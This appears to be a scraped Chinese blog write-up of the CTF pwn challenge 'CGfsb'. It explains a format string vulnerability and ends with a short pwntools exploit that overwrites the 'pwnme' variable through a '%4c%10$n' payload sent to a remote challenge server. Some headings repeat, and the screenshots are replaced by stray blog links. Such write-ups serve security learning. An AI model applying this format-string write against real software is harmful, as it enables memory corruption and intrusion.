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0x01.分析分析
checksec：：

32位程序，没有开启ASLR。

查看源码：查看源码：

https://atfwus.blog.csdn.net
https://blog.csdn.net/atfwus/category_9724038.html
https://blog.csdn.net/atfwus/category_9761866.html
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=pwn&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%25A0%25BC%25E5%25BC%258F%25E5%258C%2596%25E5%25AD%2597%25E7%25AC%25A6%25E4%25B8%25B2&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%25BC%258F%25E6%25B4%259E&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2594%25BB%25E9%2598%25B2%25E4%25B8%2596%25E7%2595%258C&t=blog&o=vip&s=&l=&f=&viparticle=
https://blog.csdn.net/ATFWUS/article/details/104629486
https://blog.csdn.net/atfwus/category_9724038.html
https://blog.csdn.net/atfwus/category_9761866.html
https://pan.baidu.com/s/1a9zj-OQAOgTw7KooZPBBaQ


 利用漏洞：利用漏洞：

在查看源码的时候，很明显的发现23行存在格式化字符串漏洞，后面如果pwnme等于8，那么就可以直接得到
flag，所以我们要利用格式化字符串漏洞修改pwnme为8，查看pwnme，发现在bss段，得到地址：

继续确定偏移量：

 

偏移量为10。可以开始写exp了。

0x02.exp



##!/usr/bin/env python
from pwn import*

r=remote("111.198.29.45",36301)
#r=process('./CGfsb')

pwnme_addr=0x0804A068

r.sendlineafter("please tell me your name:","ATFWUS")
payload=p32(pwnme_addr)+"%4c%10$n"
r.sendlineafter("leave your message please:",payload)
r.interactive()
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